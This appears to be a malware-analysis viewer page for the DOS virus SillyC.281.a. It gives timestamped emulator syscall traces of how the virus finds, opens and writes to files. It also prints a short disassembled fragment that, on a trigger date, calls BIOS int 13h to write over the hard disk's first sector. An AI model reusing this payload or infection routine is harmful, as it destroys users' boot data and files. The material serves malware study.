Sample viewer

vx.netlux.org/Virus.DOS.SillyC.281.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:54:42.953357306Z 42 PC: 12a4b | Get date 0x12a4b: cmp dh, 3
0x12a4e: jne 0x12a67
0x12a50: sti
0x12a51: mov ax, cs
0x12a53: mov es, ax
0x12a55: mov bx, 0x219
0x12a58: mov ah, 3
0x12a5a: mov al, 2
0x12a5c: mov ch, 0
0x12a5e: mov cl, 1
0x12a60: mov dh, 0
0x12a62: mov dl, 0x80
0x12a64: int 0x13
0x12a66: cli
0x12a67: popf
0x12a68: popaw
0x12a69: sti
0x12a6a: mov ax, cs
0x12a6c: add ah, 0x10
0x12a6f: mov es, ax
2018-12-17T22:54:42.956067167Z 25 PC: 12a7e | Get default drive
2018-12-17T22:54:42.95760118Z 71 PC: 12a8c | Get current directory
2018-12-17T22:54:42.960676488Z 14 PC: 12a94 | Set default drive (Drive = 'C')
2018-12-17T22:54:42.962540304Z 59 PC: 12a9b | Change current directory
2018-12-17T22:54:42.967011804Z 26 PC: 12aa2 | Set disk transfer address
2018-12-17T22:54:42.968398345Z 78 PC: 12ab3 | Find first file
2018-12-17T22:54:42.973897008Z 61 PC: 12abf | Open file (Filename = '')
2018-12-17T22:54:42.982326071Z 63 PC: 12ac8 | Read file or device (Read 65054 bytes on handle 5)
2018-12-17T22:54:43.008087495Z 87 PC: 12ad7 | Get or set file date and time
2018-12-17T22:54:43.009969751Z 66 PC: 12aeb | Move file pointer
2018-12-17T22:54:43.014920258Z 64 PC: 12af0 | Write file or device (Write 54926 bytes on handle 5)
2018-12-17T22:54:43.693460658Z 87 PC: 12b01 | Get or set file date and time
2018-12-17T22:54:43.695281957Z 62 PC: 12b06 | Close file
2018-12-17T22:54:43.702914168Z 14 PC: 12b11 | Set default drive (Drive = 'A')
2018-12-17T22:54:43.70452164Z 59 PC: 12b18 | Change current directory
2018-12-17T22:54:43.709267818Z 42 PC: 12a4b | Get date 0x12a4b: cmp dh, 3
0x12a4e: jne 0x12a67
0x12a50: sti
0x12a51: mov ax, cs
0x12a53: mov es, ax
0x12a55: mov bx, 0x219
0x12a58: mov ah, 3
0x12a5a: mov al, 2
0x12a5c: mov ch, 0
0x12a5e: mov cl, 1
0x12a60: mov dh, 0
0x12a62: mov dl, 0x80
0x12a64: int 0x13
0x12a66: cli
0x12a67: popf
0x12a68: popaw
0x12a69: sti
0x12a6a: mov ax, cs
0x12a6c: add ah, 0x10
0x12a6f: mov es, ax
2018-12-17T22:54:43.712052459Z 25 PC: 12a7e | Get default drive
2018-12-17T22:54:43.713882061Z 71 PC: 12a8c | Get current directory
2018-12-17T22:54:43.717059452Z 14 PC: 12a94 | Set default drive (Drive = 'C')
2018-12-17T22:54:43.718640357Z 59 PC: 12a9b | Change current directory
2018-12-17T22:54:43.723526294Z 26 PC: 12aa2 | Set disk transfer address
2018-12-17T22:54:43.724983543Z 78 PC: 12ab3 | Find first file
2018-12-17T22:54:43.730635123Z 61 PC: 12abf | Open file (Filename = 'COMMAND.COM')
2018-12-17T22:54:43.738578621Z 63 PC: 12ac8 | Read file or device (Read 65054 bytes on handle 5)
2018-12-17T22:54:43.752801638Z 62 PC: 12aad | Close file
2018-12-17T22:54:43.75461475Z 79 PC: 12ab3 | Find next file
2018-12-17T22:54:43.766716926Z 14 PC: 12b11 | Set default drive (Drive = 'A')
2018-12-17T22:54:43.774658959Z 59 PC: 12b18 | Change current directory
2018-12-17T22:54:43.780270952Z 9 PC: 12aa2 | Display string (String= 'ABCDE - This is a 100 byte COM test, 1994 ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":11648,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:30:59.551091877Z 42 PC: 12a4b | Get date 0x12a4b: cmp dh, 3
0x12a4e: jne 0x12a67
0x12a50: sti
0x12a51: mov ax, cs
0x12a53: mov es, ax
0x12a55: mov bx, 0x219
0x12a58: mov ah, 3
0x12a5a: mov al, 2
0x12a5c: mov ch, 0
0x12a5e: mov cl, 1
0x12a60: mov dh, 0
0x12a62: mov dl, 0x80
0x12a64: int 0x13
0x12a66: cli
0x12a67: popf
0x12a68: popaw
0x12a69: sti
0x12a6a: mov ax, cs
0x12a6c: add ah, 0x10
0x12a6f: mov es, ax
2018-12-25T12:30:59.567556707Z 25 PC: 12a7e | Get default drive
2018-12-25T12:30:59.569697014Z 71 PC: 12a8c | Get current directory
2018-12-25T12:30:59.573483195Z 14 PC: 12a94 | Set default drive (Drive = 'C')
2018-12-25T12:30:59.575873199Z 59 PC: 12a9b | Change current directory
2018-12-25T12:30:59.579657281Z 26 PC: 12aa2 | Set disk transfer address
2018-12-25T12:30:59.580921616Z 78 PC: 12ab3 | Find first file
2018-12-25T12:30:59.589156376Z 61 PC: 12abf | Open file (Filename = '')
2018-12-25T12:30:59.606376717Z 63 PC: 12ac8 | Read file or device (Read 65054 bytes on handle 5)
2018-12-25T12:30:59.640364285Z 87 PC: 12ad7 | Get or set file date and time
2018-12-25T12:30:59.642824031Z 66 PC: 12aeb | Move file pointer
2018-12-25T12:30:59.644490479Z 64 PC: 12af0 | Write file or device (Write 54926 bytes on handle 5)
2018-12-25T12:30:59.995460243Z 87 PC: 12b01 | Get or set file date and time
2018-12-25T12:30:59.998177148Z 62 PC: 12b06 | Close file
2018-12-25T12:31:00.017577077Z 14 PC: 12b11 | Set default drive (Drive = 'A')
2018-12-25T12:31:00.019673182Z 59 PC: 12b18 | Change current directory
2018-12-25T12:31:00.023862735Z 42 PC: 12a4b | Get date (See above)
2018-12-25T12:31:00.027274051Z 25 PC: 12a7e | Get default drive (See above)
2018-12-25T12:31:00.028591077Z 71 PC: 12a8c | Get current directory (See above)
2018-12-25T12:31:00.031957608Z 14 PC: 12a94 | Set default drive (See above)
2018-12-25T12:31:00.034425123Z 59 PC: 12a9b | Change current directory (See above)
2018-12-25T12:31:00.038399836Z 26 PC: 12aa2 | Set disk transfer address (See above)
2018-12-25T12:31:00.039648166Z 78 PC: 12ab3 | Find first file (See above)
2018-12-25T12:31:00.057199113Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:31:00.071440711Z 63 PC: 12ac8 | Read file or device (See above)
2018-12-25T12:31:00.085417603Z 62 PC: 12aad | Close file
2018-12-25T12:31:00.087833165Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:31:00.090097893Z 14 PC: 12b11 | Set default drive (See above)
2018-12-25T12:31:00.092026883Z 59 PC: 12b18 | Change current directory (See above)
2018-12-25T12:31:00.100628794Z 9 PC: 12aa2 | Display string (See above)

{"DateBased":true,"Day":1,"Month":3,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":11648,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:31:00.830503589Z 42 PC: 12a4b | Get date 0x12a4b: cmp dh, 3
0x12a4e: jne 0x12a67
0x12a50: sti
0x12a51: mov ax, cs
0x12a53: mov es, ax
0x12a55: mov bx, 0x219
0x12a58: mov ah, 3
0x12a5a: mov al, 2
0x12a5c: mov ch, 0
0x12a5e: mov cl, 1
0x12a60: mov dh, 0
0x12a62: mov dl, 0x80
0x12a64: int 0x13
0x12a66: cli
0x12a67: popf
0x12a68: popaw
0x12a69: sti
0x12a6a: mov ax, cs
0x12a6c: add ah, 0x10
0x12a6f: mov es, ax
2018-12-25T12:31:01.182456024Z 25 PC: 12a7e | Get default drive
2018-12-25T12:31:01.197613409Z 71 PC: 12a8c | Get current directory
2018-12-25T12:31:01.201539921Z 14 PC: 12a94 | Set default drive (Drive = 'C')
2018-12-25T12:31:01.204339189Z 59 PC: 12a9b | Change current directory
2018-12-25T12:31:01.209689396Z 26 PC: 12aa2 | Set disk transfer address
2018-12-25T12:31:01.212219376Z 78 PC: 12ab3 | Find first file
2018-12-25T12:31:01.224747991Z 61 PC: 12abf | Open file (Filename = '')
2018-12-25T12:31:01.236381777Z 63 PC: 12ac8 | Read file or device (Read 65054 bytes on handle 5)
2018-12-25T12:31:01.268564446Z 87 PC: 12ad7 | Get or set file date and time
2018-12-25T12:31:01.270328097Z 66 PC: 12aeb | Move file pointer
2018-12-25T12:31:01.275671624Z 64 PC: 12af0 | Write file or device (Write 54926 bytes on handle 5)
2018-12-25T12:31:01.29333341Z 87 PC: 12b01 | Get or set file date and time
2018-12-25T12:31:01.309933659Z 62 PC: 12b06 | Close file
2018-12-25T12:31:01.318338951Z 14 PC: 12b11 | Set default drive (Drive = 'A')
2018-12-25T12:31:01.319813618Z 59 PC: 12b18 | Change current directory
2018-12-25T12:31:01.326095713Z 42 PC: 12a4b | Get date (See above)
2018-12-25T12:31:01.332424447Z 25 PC: 12a7e | Get default drive (See above)
2018-12-25T12:31:01.335222324Z 71 PC: 12a8c | Get current directory (See above)
2018-12-25T12:31:01.34041753Z 14 PC: 12a94 | Set default drive (See above)
2018-12-25T12:31:01.342051247Z 59 PC: 12a9b | Change current directory (See above)
2018-12-25T12:31:01.346894239Z 26 PC: 12aa2 | Set disk transfer address (See above)
2018-12-25T12:31:01.348311977Z 78 PC: 12ab3 | Find first file (See above)
2018-12-25T12:31:01.352867351Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:31:01.361115096Z 63 PC: 12ac8 | Read file or device (See above)
2018-12-25T12:31:01.376596788Z 62 PC: 12aad | Close file
2018-12-25T12:31:01.37945151Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:31:01.383648424Z 14 PC: 12b11 | Set default drive (See above)
2018-12-25T12:31:01.385462153Z 59 PC: 12b18 | Change current directory (See above)
2018-12-25T12:31:01.391954817Z 9 PC: 12aa2 | Display string (See above)